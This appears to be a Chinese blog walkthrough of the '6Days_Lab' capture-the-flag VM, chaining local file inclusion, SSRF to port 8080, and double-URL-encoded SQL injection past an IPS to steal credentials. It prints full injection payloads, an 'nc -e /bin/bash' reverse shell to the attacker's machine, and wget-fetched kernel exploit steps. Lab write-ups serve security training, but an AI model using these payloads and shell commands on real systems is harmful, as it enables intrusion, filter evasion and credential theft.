6Days_Lab靶机

总结放在前面:

本次的突破点是一张图片的包含出错引发的文件包含漏洞以及ssrf漏洞

<img src=http://xxxxxx/xxxx/xxx.jpg>  存在于image.php?src=http://xxx.com/xxx.jpg

刚看到这个页面以为是远程文件包含,结果是个本地文件包含

查看到配置文件,sql查看语句

通过端口的8080以及apache的配置信息看到8080是实际的监听端口而80是转发的端口

所以出现了ssrf漏洞

这里是实际的注入点

http://127.0.0.1:8080/xxx.php?xx=xxx

首先进行靶机的发现:

目标的靶机IP是192.168.0.176

随后进行端口检测

22端口—openssh的5.9p1 可以使用九头蛇或者弱口令检测工具爆破/也可以查看是否存在漏洞进行测试

80端口—apache2.2.22的中间件  存在IPS检测阻断系统

8080端口—是http的代理

我们先看下22端口这个openssh有没有已知漏洞  卒

打开网页寻找突破

这里有一个图片没有被加载出来,我们切换到源码查看

可以看出这里的图片src指向一个其他的超链接图片

Image.php中可能存在文件包含漏洞,我们把src替换成image.php

以上,可以看出image.php文件中变量src是用户可控并且无过滤。

首页我们用谷歌浏览器打开吧

这里的话我们查看输入的地方可以查看是否存在注入点,使用sqlmap进行扫描

扫描的同时我们看一下网站的目录结构

获取网站结构之后,我们使用刚刚检测出的文件包含对config.php文件进行查看

数据库名为fancydb

密码n0_\$\$_n0_g41ns

用户sellingstuff

在查看我们输入折扣码的页面

我们可以猜测,当我们输入折扣码的时候会玉数据库中比对查看是否存在,那么这里数据交互的地方就可能会出现漏洞,但是sqlmap没有显示结果,我们来查看下checkpromo.php的文件内容是什么?

可以看到我们输入的promocode变量直接拼接在sql查询语句中,可控且无过滤条件,妥妥的注入,但是存在IPS防御,我们采用双url编码进行绕过。

        1.url编码可以进行在线的网页进行编码:

                http://tool.chinaz.com/tools/urlencode.aspx

                网页中空格无法进行编码 卒

        2.也可以使用python3中quote函数进行编码:

                from urllib.parse import quote

                quote(“要编码的内容”)

                quote(“=”)

                双url编码:quote(quote(“==”))

        3.Bp中也可进行url编码

                Bp中无法实现我们所需要的双编码

url编码:

“=”经过url编码后为%3D

而双url编码就是将“%”再次进行编码为%25然后将3D拼接成为%253D

这样进行解码后首先对%25进行解码为%,再对%3D进行解码为“=”

$sql="SELECT discount,status FROM promocodes WHERE promocode='".$_GET['promocode'].‘";

根据查询语句可以看到,我们需要使用单引号做为闭合,并且前面存在两个字段

数据库名为fancydb

  1. 查看数据库中所有表

aaaa'union select group_concat(table_name,'```'),2 from information_schema.tables where table_schema=database()#

使用url双编码后

aaaa%2527union%2520select%2520group_concat%2528table_name%252C%2527%2560%2560%2560%2527%2529%252C2%2520from%2520information_schema.tables%2520where%2520table_schema%253Ddatabase%2528%2529%2523

我们将编码后的测试语句放入

似乎没有起作用,我们查看apaceh的默认配置路径:

Ubuntu默认配置文件为/etc/apache2/sites-available/default

还记得端口扫描的时候发现8080端口,网站实际是针对8080端口进行监听,而80端口是作为转发的端口,也就是说我们需要访问http://127.0.0.1:8080/checkpromo.php?promocode=这个路径才能实现注入攻击。

重新进行测试:

我们获取了fancydb数据库中的两个表名,其中users表为我们下一步进行测试的表

继续构造查询表下字段名的测试语句:

aaa'union select group_concat(column_name,'```'),2 from information_schema.columns where table_schema = database() and table_name = 'users'#

经过双编码后:

aaa%2527union%2520select%2520group_concat%2528column_name%252C%2527%2560%2560%2560%2527%2529%252C2%2520from%2520information_schema.columns%2520where%2520table_schema%2520%253D%2520database%2528%2529%2520and%2520table_name%2520%253D%2520%2527users%2527%2523

查看users表下字段

继续查看fancydb数据库下,users表中,username与password字段的值

aa'union select group_concat(username,'````',password,'`````'),2 from fancydb.users#

aa%2527union%2520select%2520group_concat%2528username%252C%2527%2560%2560%2560%2560%2527%252Cpassword%252C%2527%2560%2560%2560%2560%2560%2527%2529%252C2%2520from%2520fancydb.users%2523

获得用户名:andrea  密码:SayNoToPentests

但是网页中并没有admin或者login等web控制页面登陆信息

我们直接使用ssh进行登陆

来到提权的步骤:

首先查看/etc/passwd这个文件是否可写

Help命令都不给用。

好家伙,nc –e我们把shell弹回来用。

Kali中我们执行  监听5555端口

nc –nvlp 5555

靶机中执行 我们kali的IP为192.168.0.119

Nc –e /bin/bash 192.168.0.119 5555

使用下面的python语句获取对话

python -c 'import pty;pty.spawn("/bin/bash")'

查看之前小结的提权步骤:

https://blog.csdn.net/Lonelyhat/article/details/105553797

要是有其他提权方法欢迎留言呀~大佬们~

/etc/passwd不能写入

Uname -a

这个版本有些古老啊

我们search一下

我们cp一下.c文件

找到.c文件

Cp过来

Cat一下查看

我们只需要编译后执行就可以了

开启python的http服务

python -m SimpleHTTPServer

进入tmp文件夹使用wget获取.c文件

Gcc编译

根目录下存在flag执行文件

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值